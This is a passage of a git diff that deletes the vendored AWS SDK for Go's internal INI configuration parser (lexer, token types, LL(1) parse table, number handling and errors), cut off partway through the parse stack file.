a/vendor/github.com/aws/aws-sdk-go/internal/ini/ast.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/ast.go deleted file mode 100644 index e83a99886b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/ast.go +++ /dev/null @@ -1,120 +0,0 @@ -package ini - -// ASTKind represents different states in the parse table -// and the type of AST that is being constructed -type ASTKind int - -// ASTKind* is used in the parse table to transition between -// the different states -const ( - ASTKindNone = ASTKind(iota) - ASTKindStart - ASTKindExpr - ASTKindEqualExpr - ASTKindStatement - ASTKindSkipStatement - ASTKindExprStatement - ASTKindSectionStatement - ASTKindNestedSectionStatement - ASTKindCompletedNestedSectionStatement - ASTKindCommentStatement - ASTKindCompletedSectionStatement -) - -func (k ASTKind) String() string { - switch k { - case ASTKindNone: - return "none" - case ASTKindStart: - return "start" - case ASTKindExpr: - return "expr" - case ASTKindStatement: - return "stmt" - case ASTKindSectionStatement: - return "section_stmt" - case ASTKindExprStatement: - return "expr_stmt" - case ASTKindCommentStatement: - return "comment" - case ASTKindNestedSectionStatement: - return "nested_section_stmt" - case ASTKindCompletedSectionStatement: - return "completed_stmt" - case ASTKindSkipStatement: - return "skip" - default: - return "" - } -} - -// AST interface allows us to determine what kind of node we -// are on and casting may not need to be necessary. -// -// The root is always the first node in Children -type AST struct { - Kind ASTKind - Root Token - RootToken bool - Children []AST -} - -func newAST(kind ASTKind, root AST, children ...AST) AST { - return AST{ - Kind: kind, - Children: append([]AST{root}, children...), - } -} - -func newASTWithRootToken(kind ASTKind, root Token, children ...AST) AST { - return AST{ - Kind: kind, - Root: root, - RootToken: true, - Children: children, - } -} - -// AppendChild will append to the list of children an AST has. -func (a *AST) AppendChild(child AST) { - a.Children = append(a.Children, child) -} - -// GetRoot will return the root AST which can be the first entry -// in the children list or a token. -func (a *AST) GetRoot() AST { - if a.RootToken { - return *a - } - - if len(a.Children) == 0 { - return AST{} - } - - return a.Children[0] -} - -// GetChildren will return the current AST's list of children -func (a *AST) GetChildren() []AST { - if len(a.Children) == 0 { - return []AST{} - } - - if a.RootToken { - return a.Children - } - - return a.Children[1:] -} - -// SetChildren will set and override all children of the AST. -func (a *AST) SetChildren(children []AST) { - if a.RootToken { - a.Children = children - } else { - a.Children = append(a.Children[:1], children...) - } -} - -// Start is used to indicate the starting state of the parse table. -var Start = newAST(ASTKindStart, AST{}) diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/comma_token.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/comma_token.go deleted file mode 100644 index 0895d53cbe..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/comma_token.go +++ /dev/null @@ -1,11 +0,0 @@ -package ini - -var commaRunes = []rune(",") - -func isComma(b rune) bool { - return b == ',' -} - -func newCommaToken() Token { - return newToken(TokenComma, commaRunes, NoneType) -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/comment_token.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/comment_token.go deleted file mode 100644 index 0b76999ba1..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/comment_token.go +++ /dev/null @@ -1,35 +0,0 @@ -package ini - -// isComment will return whether or not the next byte(s) is a -// comment. -func isComment(b []rune) bool { - if len(b) == 0 { - return false - } - - switch b[0] { - case ';': - return true - case '#': - return true - } - - return false -} - -// newCommentToken will create a comment token and -// return how many bytes were read. -func newCommentToken(b []rune) (Token, int, error) { - i := 0 - for ; i < len(b); i++ { - if b[i] == '\n' { - break - } - - if len(b)-i > 2 && b[i] == '\r' && b[i+1] == '\n' { - break - } - } - - return newToken(TokenComment, b[:i], NoneType), i, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/doc.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/doc.go deleted file mode 100644 index 25ce0fe134..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/doc.go +++ /dev/null @@ -1,29 +0,0 @@ -// Package ini is an LL(1) parser for configuration files. -// -// Example: -// sections, err := ini.OpenFile("/path/to/file") -// if err != nil { -// panic(err) -// } -// -// profile := "foo" -// section, ok := sections.GetSection(profile) -// if !ok { -// fmt.Printf("section %q could not be found", profile) -// } -// -// Below is the BNF that describes this parser -// Grammar: -// stmt -> value stmt' -// stmt' -> epsilon | op stmt -// value -> number | string | boolean | quoted_string -// -// section -> [ section' -// section' -> value section_close -// section_close -> ] -// -// SkipState will skip (NL WS)+ -// -// comment -> # comment' | ; comment' -// comment' -> epsilon | value -package ini diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/empty_token.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/empty_token.go deleted file mode 100644 index 04345a54c2..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/empty_token.go +++ /dev/null @@ -1,4 +0,0 @@ -package ini - -// emptyToken is used to satisfy the Token interface -var emptyToken = newToken(TokenNone, []rune{}, NoneType) diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/expression.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/expression.go deleted file mode 100644 index 91ba2a59dd..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/expression.go +++ /dev/null @@ -1,24 +0,0 @@ -package ini - -// newExpression will return an expression AST. -// Expr represents an expression -// -// grammar: -// expr -> string | number -func newExpression(tok Token) AST { - return newASTWithRootToken(ASTKindExpr, tok) -} - -func newEqualExpr(left AST, tok Token) AST { - return newASTWithRootToken(ASTKindEqualExpr, tok, left) -} - -// EqualExprKey will return a LHS value in the equal expr -func EqualExprKey(ast AST) string { - children := ast.GetChildren() - if len(children) == 0 || ast.Kind != ASTKindEqualExpr { - return "" - } - - return string(children[0].Root.Raw()) -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/fuzz.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/fuzz.go deleted file mode 100644 index 8d462f77e2..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/fuzz.go +++ /dev/null @@ -1,17 +0,0 @@ -// +build gofuzz - -package ini - -import ( - "bytes" -) - -func Fuzz(data []byte) int { - b := bytes.NewReader(data) - - if _, err := Parse(b); err != nil { - return 0 - } - - return 1 -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/ini.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/ini.go deleted file mode 100644 index 3b0ca7afe3..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/ini.go +++ /dev/null @@ -1,51 +0,0 @@ -package ini - -import ( - "io" - "os" - - "github.com/aws/aws-sdk-go/aws/awserr" -) - -// OpenFile takes a path to a given file, and will open and parse -// that file. -func OpenFile(path string) (Sections, error) { - f, err := os.Open(path) - if err != nil { - return Sections{}, awserr.New(ErrCodeUnableToReadFile, "unable to open file", err) - } - defer f.Close() - - return Parse(f) -} - -// Parse will parse the given file using the shared config -// visitor. -func Parse(f io.Reader) (Sections, error) { - tree, err := ParseAST(f) - if err != nil { - return Sections{}, err - } - - v := NewDefaultVisitor() - if err = Walk(tree, v); err != nil { - return Sections{}, err - } - - return v.Sections, nil -} - -// ParseBytes will parse the given bytes and return the parsed sections. -func ParseBytes(b []byte) (Sections, error) { - tree, err := ParseASTBytes(b) - if err != nil { - return Sections{}, err - } - - v := NewDefaultVisitor() - if err = Walk(tree, v); err != nil { - return Sections{}, err - } - - return v.Sections, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/ini_lexer.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/ini_lexer.go deleted file mode 100644 index 582c024ad1..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/ini_lexer.go +++ /dev/null @@ -1,165 +0,0 @@ -package ini - -import ( - "bytes" - "io" - "io/ioutil" - - "github.com/aws/aws-sdk-go/aws/awserr" -) - -const ( - // ErrCodeUnableToReadFile is used when a file is failed to be - // opened or read from. - ErrCodeUnableToReadFile = "FailedRead" -) - -// TokenType represents the various different tokens types -type TokenType int - -func (t TokenType) String() string { - switch t { - case TokenNone: - return "none" - case TokenLit: - return "literal" - case TokenSep: - return "sep" - case TokenOp: - return "op" - case TokenWS: - return "ws" - case TokenNL: - return "newline" - case TokenComment: - return "comment" - case TokenComma: - return "comma" - default: - return "" - } -} - -// TokenType enums -const ( - TokenNone = TokenType(iota) - TokenLit - TokenSep - TokenComma - TokenOp - TokenWS - TokenNL - TokenComment -) - -type iniLexer struct{} - -// Tokenize will return a list of tokens during lexical analysis of the -// io.Reader. -func (l *iniLexer) Tokenize(r io.Reader) ([]Token, error) { - b, err := ioutil.ReadAll(r) - if err != nil { - return nil, awserr.New(ErrCodeUnableToReadFile, "unable to read file", err) - } - - return l.tokenize(b) -} - -func (l *iniLexer) tokenize(b []byte) ([]Token, error) { - runes := bytes.Runes(b) - var err error - n := 0 - tokenAmount := countTokens(runes) - tokens := make([]Token, tokenAmount) - count := 0 - - for len(runes) > 0 && count < tokenAmount { - switch { - case isWhitespace(runes[0]): - tokens[count], n, err = newWSToken(runes) - case isComma(runes[0]): - tokens[count], n = newCommaToken(), 1 - case isComment(runes): - tokens[count], n, err = newCommentToken(runes) - case isNewline(runes): - tokens[count], n, err = newNewlineToken(runes) - case isSep(runes): - tokens[count], n, err = newSepToken(runes) - case isOp(runes): - tokens[count], n, err = newOpToken(runes) - default: - tokens[count], n, err = newLitToken(runes) - } - - if err != nil { - return nil, err - } - - count++ - - runes = runes[n:] - } - - return tokens[:count], nil -} - -func countTokens(runes []rune) int { - count, n := 0, 0 - var err error - - for len(runes) > 0 { - switch { - case isWhitespace(runes[0]): - _, n, err = newWSToken(runes) - case isComma(runes[0]): - _, n = newCommaToken(), 1 - case isComment(runes): - _, n, err = newCommentToken(runes) - case isNewline(runes): - _, n, err = newNewlineToken(runes) - case isSep(runes): - _, n, err = newSepToken(runes) - case isOp(runes): - _, n, err = newOpToken(runes) - default: - _, n, err = newLitToken(runes) - } - - if err != nil { - return 0 - } - - count++ - runes = runes[n:] - } - - return count + 1 -} - -// Token indicates a metadata about a given value. -type Token struct { - t TokenType - ValueType ValueType - base int - raw []rune -} - -var emptyValue = Value{} - -func newToken(t TokenType, raw []rune, v ValueType) Token { - return Token{ - t: t, - raw: raw, - ValueType: v, - } -} - -// Raw return the raw runes that were consumed -func (tok Token) Raw() []rune { - return tok.raw -} - -// Type returns the token type -func (tok Token) Type() TokenType { - return tok.t -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/ini_parser.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/ini_parser.go deleted file mode 100644 index f99703372c..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/ini_parser.go +++ /dev/null @@ -1,347 +0,0 @@ -package ini - -import ( - "fmt" - "io" -) - -// State enums for the parse table -const ( - InvalidState = iota - // stmt -> value stmt' - StatementState - // stmt' -> MarkComplete | op stmt - StatementPrimeState - // value -> number | string | boolean | quoted_string - ValueState - // section -> [ section' - OpenScopeState - // section' -> value section_close - SectionState - // section_close -> ] - CloseScopeState - // SkipState will skip (NL WS)+ - SkipState - // SkipTokenState will skip any token and push the previous - // state onto the stack. - SkipTokenState - // comment -> # comment' | ; comment' - // comment' -> MarkComplete | value - CommentState - // MarkComplete state will complete statements and move that - // to the completed AST list - MarkCompleteState - // TerminalState signifies that the tokens have been fully parsed - TerminalState -) - -// parseTable is a state machine to dictate the grammar above. -var parseTable = map[ASTKind]map[TokenType]int{ - ASTKindStart: map[TokenType]int{ - TokenLit: StatementState, - TokenSep: OpenScopeState, - TokenWS: SkipTokenState, - TokenNL: SkipTokenState, - TokenComment: CommentState, - TokenNone: TerminalState, - }, - ASTKindCommentStatement: map[TokenType]int{ - TokenLit: StatementState, - TokenSep: OpenScopeState, - TokenWS: SkipTokenState, - TokenNL: SkipTokenState, - TokenComment: CommentState, - TokenNone: MarkCompleteState, - }, - ASTKindExpr: map[TokenType]int{ - TokenOp: StatementPrimeState, - TokenLit: ValueState, - TokenSep: OpenScopeState, - TokenWS: ValueState, - TokenNL: SkipState, - TokenComment: CommentState, - TokenNone: MarkCompleteState, - }, - ASTKindEqualExpr: map[TokenType]int{ - TokenLit: ValueState, - TokenWS: SkipTokenState, - TokenNL: SkipState, - }, - ASTKindStatement: map[TokenType]int{ - TokenLit: SectionState, - TokenSep: CloseScopeState, - TokenWS: SkipTokenState, - TokenNL: SkipTokenState, - TokenComment: CommentState, - TokenNone: MarkCompleteState, - }, - ASTKindExprStatement: map[TokenType]int{ - TokenLit: ValueState, - TokenSep: OpenScopeState, - TokenOp: ValueState, - TokenWS: ValueState, - TokenNL: MarkCompleteState, - TokenComment: CommentState, - TokenNone: TerminalState, - TokenComma: SkipState, - }, - ASTKindSectionStatement: map[TokenType]int{ - TokenLit: SectionState, - TokenOp: SectionState, - TokenSep: CloseScopeState, - TokenWS: SectionState, - TokenNL: SkipTokenState, - }, - ASTKindCompletedSectionStatement: map[TokenType]int{ - TokenWS: SkipTokenState, - TokenNL: SkipTokenState, - TokenLit: StatementState, - TokenSep: OpenScopeState, - TokenComment: CommentState, - TokenNone: MarkCompleteState, - }, - ASTKindSkipStatement: map[TokenType]int{ - TokenLit: StatementState, - TokenSep: OpenScopeState, - TokenWS: SkipTokenState, - TokenNL: SkipTokenState, - TokenComment: CommentState, - TokenNone: TerminalState, - }, -} - -// ParseAST will parse input from an io.Reader using -// an LL(1) parser. -func ParseAST(r io.Reader) ([]AST, error) { - lexer := iniLexer{} - tokens, err := lexer.Tokenize(r) - if err != nil { - return []AST{}, err - } - - return parse(tokens) -} - -// ParseASTBytes will parse input from a byte slice using -// an LL(1) parser. -func ParseASTBytes(b []byte) ([]AST, error) { - lexer := iniLexer{} - tokens, err := lexer.tokenize(b) - if err != nil { - return []AST{}, err - } - - return parse(tokens) -} - -func parse(tokens []Token) ([]AST, error) { - start := Start - stack := newParseStack(3, len(tokens)) - - stack.Push(start) - s := newSkipper() - -loop: - for stack.Len() > 0 { - k := stack.Pop() - - var tok Token - if len(tokens) == 0 { - // this occurs when all the tokens have been processed - // but reduction of what's left on the stack needs to - // occur. - tok = emptyToken - } else { - tok = tokens[0] - } - - step := parseTable[k.Kind][tok.Type()] - if s.ShouldSkip(tok) { - // being in a skip state with no tokens will break out of - // the parse loop since there is nothing left to process. - if len(tokens) == 0 { - break loop - } - - step = SkipTokenState - } - - switch step { - case TerminalState: - // Finished parsing. Push what should be the last - // statement to the stack. If there is anything left - // on the stack, an error in parsing has occurred. - if k.Kind != ASTKindStart { - stack.MarkComplete(k) - } - break loop - case SkipTokenState: - // When skipping a token, the previous state was popped off the stack. - // To maintain the correct state, the previous state will be pushed - // onto the stack. - stack.Push(k) - case StatementState: - if k.Kind != ASTKindStart { - stack.MarkComplete(k) - } - expr := newExpression(tok) - stack.Push(expr) - case StatementPrimeState: - if tok.Type() != TokenOp { - stack.MarkComplete(k) - continue - } - - if k.Kind != ASTKindExpr { - return nil, NewParseError( - fmt.Sprintf("invalid expression: expected Expr type, but found %T type", k), - ) - } - - k = trimSpaces(k) - expr := newEqualExpr(k, tok) - stack.Push(expr) - case ValueState: - // ValueState requires the previous state to either be an equal expression - // or an expression statement. - // - // This grammar occurs when the RHS is a number, word, or quoted string. - // equal_expr -> lit op equal_expr' - // equal_expr' -> number | string | quoted_string - // quoted_string -> " quoted_string' - // quoted_string' -> string quoted_string_end - // quoted_string_end -> " - // - // otherwise - // expr_stmt -> equal_expr (expr_stmt')* - // expr_stmt' -> ws S | op S | MarkComplete - // S -> equal_expr' expr_stmt' - switch k.Kind { - case ASTKindEqualExpr: - // assiging a value to some key - k.AppendChild(newExpression(tok)) - stack.Push(newExprStatement(k)) - case ASTKindExpr: - k.Root.raw = append(k.Root.raw, tok.Raw()...) - stack.Push(k) - case ASTKindExprStatement: - root := k.GetRoot() - children := root.GetChildren() - if len(children) == 0 { - return nil, NewParseError( - fmt.Sprintf("invalid expression: AST contains no children %s", k.Kind), - ) - } - - rhs := children[len(children)-1] - - if rhs.Root.ValueType != QuotedStringType { - rhs.Root.ValueType = StringType - rhs.Root.raw = append(rhs.Root.raw, tok.Raw()...) - - } - - children[len(children)-1] = rhs - k.SetChildren(children) - - stack.Push(k) - } - case OpenScopeState: - if !runeCompare(tok.Raw(), openBrace) { - return nil, NewParseError("expected '['") - } - - stmt := newStatement() - stack.Push(stmt) - case CloseScopeState: - if !runeCompare(tok.Raw(), closeBrace) { - return nil, NewParseError("expected ']'") - } - - k = trimSpaces(k) - stack.Push(newCompletedSectionStatement(k)) - case SectionState: - var stmt AST - - switch k.Kind { - case ASTKindStatement: - // If there are multiple literals inside of a scope declaration, - // then the current token's raw value will be appended to the Name. - // - // This handles cases like [ profile default ] - // - // k will represent a SectionStatement with the children representing - // the label of the section - stmt = newSectionStatement(tok) - case ASTKindSectionStatement: - k.Root.raw = append(k.Root.raw, tok.Raw()...) - stmt = k - default: - return nil, NewParseError( - fmt.Sprintf("invalid statement: expected statement: %v", k.Kind), - ) - } - - stack.Push(stmt) - case MarkCompleteState: - if k.Kind != ASTKindStart { - stack.MarkComplete(k) - } - - if stack.Len() == 0 { - stack.Push(start) - } - case SkipState: - stack.Push(newSkipStatement(k)) - s.Skip() - case CommentState: - if k.Kind == ASTKindStart { - stack.Push(k) - } else { - stack.MarkComplete(k) - } - - stmt := newCommentStatement(tok) - stack.Push(stmt) - default: - return nil, NewParseError(fmt.Sprintf("invalid state with ASTKind %v and TokenType %v", k, tok)) - } - - if len(tokens) > 0 { - tokens = tokens[1:] - } - } - - // this occurs when a statement has not been completed - if stack.top > 1 { - return nil, NewParseError(fmt.Sprintf("incomplete expression: %v", stack.container)) - } - - // returns a sublist which excludes the start symbol - return stack.List(), nil -} - -// trimSpaces will trim spaces on the left and right hand side of -// the literal. -func trimSpaces(k AST) AST { - // trim left hand side of spaces - for i := 0; i < len(k.Root.raw); i++ { - if !isWhitespace(k.Root.raw[i]) { - break - } - - k.Root.raw = k.Root.raw[1:] - i-- - } - - // trim right hand side of spaces - for i := len(k.Root.raw) - 1; i >= 0; i-- { - if !isWhitespace(k.Root.raw[i]) { - break - } - - k.Root.raw = k.Root.raw[:len(k.Root.raw)-1] - } - - return k -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/literal_tokens.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/literal_tokens.go deleted file mode 100644 index 24df543d38..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/literal_tokens.go +++ /dev/null @@ -1,324 +0,0 @@ -package ini - -import ( - "fmt" - "strconv" - "strings" -) - -var ( - runesTrue = []rune("true") - runesFalse = []rune("false") -) - -var literalValues = [][]rune{ - runesTrue, - runesFalse, -} - -func isBoolValue(b []rune) bool { - for _, lv := range literalValues { - if isLitValue(lv, b) { - return true - } - } - return false -} - -func isLitValue(want, have []rune) bool { - if len(have) < len(want) { - return false - } - - for i := 0; i < len(want); i++ { - if want[i] != have[i] { - return false - } - } - - return true -} - -// isNumberValue will return whether not the leading characters in -// a byte slice is a number. A number is delimited by whitespace or -// the newline token. -// -// A number is defined to be in a binary, octal, decimal (int | float), hex format, -// or in scientific notation. -func isNumberValue(b []rune) bool { - negativeIndex := 0 - helper := numberHelper{} - needDigit := false - - for i := 0; i < len(b); i++ { - negativeIndex++ - - switch b[i] { - case '-': - if helper.IsNegative() || negativeIndex != 1 { - return false - } - helper.Determine(b[i]) - needDigit = true - continue - case 'e', 'E': - if err := helper.Determine(b[i]); err != nil { - return false - } - negativeIndex = 0 - needDigit = true - continue - case 'b': - if helper.numberFormat == hex { - break - } - fallthrough - case 'o', 'x': - needDigit = true - if i == 0 { - return false - } - - fallthrough - case '.': - if err := helper.Determine(b[i]); err != nil { - return false - } - needDigit = true - continue - } - - if i > 0 && (isNewline(b[i:]) || isWhitespace(b[i])) { - return !needDigit - } - - if !helper.CorrectByte(b[i]) { - return false - } - needDigit = false - } - - return !needDigit -} - -func isValid(b []rune) (bool, int, error) { - if len(b) == 0 { - // TODO: should probably return an error - return false, 0, nil - } - - return isValidRune(b[0]), 1, nil -} - -func isValidRune(r rune) bool { - return r != ':' && r != '=' && r != '[' && r != ']' && r != ' ' && r != '\n' -} - -// ValueType is an enum that will signify what type -// the Value is -type ValueType int - -func (v ValueType) String() string { - switch v { - case NoneType: - return "NONE" - case DecimalType: - return "FLOAT" - case IntegerType: - return "INT" - case StringType: - return "STRING" - case BoolType: - return "BOOL" - } - - return "" -} - -// ValueType enums -const ( - NoneType = ValueType(iota) - DecimalType - IntegerType - StringType - QuotedStringType - BoolType -) - -// Value is a union container -type Value struct { - Type ValueType - raw []rune - - integer int64 - decimal float64 - boolean bool - str string -} - -func newValue(t ValueType, base int, raw []rune) (Value, error) { - v := Value{ - Type: t, - raw: raw, - } - var err error - - switch t { - case DecimalType: - v.decimal, err = strconv.ParseFloat(string(raw), 64) - case IntegerType: - if base != 10 { - raw = raw[2:] - } - - v.integer, err = strconv.ParseInt(string(raw), base, 64) - case StringType: - v.str = string(raw) - case QuotedStringType: - v.str = string(raw[1 : len(raw)-1]) - case BoolType: - v.boolean = runeCompare(v.raw, runesTrue) - } - - // issue 2253 - // - // if the value trying to be parsed is too large, then we will use - // the 'StringType' and raw value instead. - if nerr, ok := err.(*strconv.NumError); ok && nerr.Err == strconv.ErrRange { - v.Type = StringType - v.str = string(raw) - err = nil - } - - return v, err -} - -// Append will append values and change the type to a string -// type. -func (v *Value) Append(tok Token) { - r := tok.Raw() - if v.Type != QuotedStringType { - v.Type = StringType - r = tok.raw[1 : len(tok.raw)-1] - } - if tok.Type() != TokenLit { - v.raw = append(v.raw, tok.Raw()...) - } else { - v.raw = append(v.raw, r...) - } -} - -func (v Value) String() string { - switch v.Type { - case DecimalType: - return fmt.Sprintf("decimal: %f", v.decimal) - case IntegerType: - return fmt.Sprintf("integer: %d", v.integer) - case StringType: - return fmt.Sprintf("string: %s", string(v.raw)) - case QuotedStringType: - return fmt.Sprintf("quoted string: %s", string(v.raw)) - case BoolType: - return fmt.Sprintf("bool: %t", v.boolean) - default: - return "union not set" - } -} - -func newLitToken(b []rune) (Token, int, error) { - n := 0 - var err error - - token := Token{} - if b[0] == '"' { - n, err = getStringValue(b) - if err != nil { - return token, n, err - } - - token = newToken(TokenLit, b[:n], QuotedStringType) - } else if isNumberValue(b) { - var base int - base, n, err = getNumericalValue(b) - if err != nil { - return token, 0, err - } - - value := b[:n] - vType := IntegerType - if contains(value, '.') || hasExponent(value) { - vType = DecimalType - } - token = newToken(TokenLit, value, vType) - token.base = base - } else if isBoolValue(b) { - n, err = getBoolValue(b) - - token = newToken(TokenLit, b[:n], BoolType) - } else { - n, err = getValue(b) - token = newToken(TokenLit, b[:n], StringType) - } - - return token, n, err -} - -// IntValue returns an integer value -func (v Value) IntValue() int64 { - return v.integer -} - -// FloatValue returns a float value -func (v Value) FloatValue() float64 { - return v.decimal -} - -// BoolValue returns a bool value -func (v Value) BoolValue() bool { - return v.boolean -} - -func isTrimmable(r rune) bool { - switch r { - case '\n', ' ': - return true - } - return false -} - -// StringValue returns the string value -func (v Value) StringValue() string { - switch v.Type { - case StringType: - return strings.TrimFunc(string(v.raw), isTrimmable) - case QuotedStringType: - // preserve all characters in the quotes - return string(removeEscapedCharacters(v.raw[1 : len(v.raw)-1])) - default: - return strings.TrimFunc(string(v.raw), isTrimmable) - } -} - -func contains(runes []rune, c rune) bool { - for i := 0; i < len(runes); i++ { - if runes[i] == c { - return true - } - } - - return false -} - -func runeCompare(v1 []rune, v2 []rune) bool { - if len(v1) != len(v2) { - return false - } - - for i := 0; i < len(v1); i++ { - if v1[i] != v2[i] { - return false - } - } - - return true -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/newline_token.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/newline_token.go deleted file mode 100644 index e52ac399f1..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/newline_token.go +++ /dev/null @@ -1,30 +0,0 @@ -package ini - -func isNewline(b []rune) bool { - if len(b) == 0 { - return false - } - - if b[0] == '\n' { - return true - } - - if len(b) < 2 { - return false - } - - return b[0] == '\r' && b[1] == '\n' -} - -func newNewlineToken(b []rune) (Token, int, error) { - i := 1 - if b[0] == '\r' && isNewline(b[1:]) { - i++ - } - - if !isNewline([]rune(b[:i])) { - return emptyToken, 0, NewParseError("invalid new line token") - } - - return newToken(TokenNL, b[:i], NoneType), i, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/number_helper.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/number_helper.go deleted file mode 100644 index a45c0bc566..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/number_helper.go +++ /dev/null @@ -1,152 +0,0 @@ -package ini - -import ( - "bytes" - "fmt" - "strconv" -) - -const ( - none = numberFormat(iota) - binary - octal - decimal - hex - exponent -) - -type numberFormat int - -// numberHelper is used to dictate what format a number is in -// and what to do for negative values. Since -1e-4 is a valid -// number, we cannot just simply check for duplicate negatives. -type numberHelper struct { - numberFormat numberFormat - - negative bool - negativeExponent bool -} - -func (b numberHelper) Exists() bool { - return b.numberFormat != none -} - -func (b numberHelper) IsNegative() bool { - return b.negative || b.negativeExponent -} - -func (b *numberHelper) Determine(c rune) error { - if b.Exists() { - return NewParseError(fmt.Sprintf("multiple number formats: 0%v", string(c))) - } - - switch c { - case 'b': - b.numberFormat = binary - case 'o': - b.numberFormat = octal - case 'x': - b.numberFormat = hex - case 'e', 'E': - b.numberFormat = exponent - case '-': - if b.numberFormat != exponent { - b.negative = true - } else { - b.negativeExponent = true - } - case '.': - b.numberFormat = decimal - default: - return NewParseError(fmt.Sprintf("invalid number character: %v", string(c))) - } - - return nil -} - -func (b numberHelper) CorrectByte(c rune) bool { - switch { - case b.numberFormat == binary: - if !isBinaryByte(c) { - return false - } - case b.numberFormat == octal: - if !isOctalByte(c) { - return false - } - case b.numberFormat == hex: - if !isHexByte(c) { - return false - } - case b.numberFormat == decimal: - if !isDigit(c) { - return false - } - case b.numberFormat == exponent: - if !isDigit(c) { - return false - } - case b.negativeExponent: - if !isDigit(c) { - return false - } - case b.negative: - if !isDigit(c) { - return false - } - default: - if !isDigit(c) { - return false - } - } - - return true -} - -func (b numberHelper) Base() int { - switch b.numberFormat { - case binary: - return 2 - case octal: - return 8 - case hex: - return 16 - default: - return 10 - } -} - -func (b numberHelper) String() string { - buf := bytes.Buffer{} - i := 0 - - switch b.numberFormat { - case binary: - i++ - buf.WriteString(strconv.Itoa(i) + ": binary format\n") - case octal: - i++ - buf.WriteString(strconv.Itoa(i) + ": octal format\n") - case hex: - i++ - buf.WriteString(strconv.Itoa(i) + ": hex format\n") - case exponent: - i++ - buf.WriteString(strconv.Itoa(i) + ": exponent format\n") - default: - i++ - buf.WriteString(strconv.Itoa(i) + ": integer format\n") - } - - if b.negative { - i++ - buf.WriteString(strconv.Itoa(i) + ": negative format\n") - } - - if b.negativeExponent { - i++ - buf.WriteString(strconv.Itoa(i) + ": negative exponent format\n") - } - - return buf.String() -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/op_tokens.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/op_tokens.go deleted file mode 100644 index 8a84c7cbe0..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/op_tokens.go +++ /dev/null @@ -1,39 +0,0 @@ -package ini - -import ( - "fmt" -) - -var ( - equalOp = []rune("=") - equalColonOp = []rune(":") -) - -func isOp(b []rune) bool { - if len(b) == 0 { - return false - } - - switch b[0] { - case '=': - return true - case ':': - return true - default: - return false - } -} - -func newOpToken(b []rune) (Token, int, error) { - tok := Token{} - - switch b[0] { - case '=': - tok = newToken(TokenOp, equalOp, NoneType) - case ':': - tok = newToken(TokenOp, equalColonOp, NoneType) - default: - return tok, 0, NewParseError(fmt.Sprintf("unexpected op type, %v", b[0])) - } - return tok, 1, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/parse_error.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/parse_error.go deleted file mode 100644 index 4572870193..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/parse_error.go +++ /dev/null @@ -1,43 +0,0 @@ -package ini - -import "fmt" - -const ( - // ErrCodeParseError is returned when a parsing error - // has occurred. - ErrCodeParseError = "INIParseError" -) - -// ParseError is an error which is returned during any part of -// the parsing process. -type ParseError struct { - msg string -} - -// NewParseError will return a new ParseError where message -// is the description of the error. -func NewParseError(message string) *ParseError { - return &ParseError{ - msg: message, - } -} - -// Code will return the ErrCodeParseError -func (err *ParseError) Code() string { - return ErrCodeParseError -} - -// Message returns the error's message -func (err *ParseError) Message() string { - return err.msg -} - -// OrigError return nothing since there will never be any -// original error. -func (err *ParseError) OrigError() error { - return nil -} - -func (err *ParseError) Error() string { - return fmt.Sprintf("%s: %s", err.Code(), err.Message()) -} diff --git a/vendor/github.com/aws/aws-sdk-go/internal/ini/parse_stack.go b/vendor/github.com/aws/aws-sdk-go/internal/ini/parse_stack.go deleted file mode 100644 index 7f01cf7c70..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/internal/ini/parse_stack.go +++ /dev/null @@ -1,60 +0,0 @@ -package ini - -import ( - "bytes" - "fmt" -) - -// ParseStack is a stack that contains a container, the stack portion, -// and the list which is the list of ASTs that have been successfully -// parsed. -type ParseStack struct { - top int - container []AST - list []AST - index int -} - -func newParseStack(sizeContainer, sizeList int) ParseStack { - return ParseStack{ - container: make([]AST, sizeContainer), - list: make([]AST, sizeList), - } -} - -// Pop will return and truncate the last container element. -func (s *ParseStack) Pop() AST { - s.top-- - return s.container[s.top] -} - -// Push will add the new AST to the container -func (s *ParseStack) Push(ast AST) { - 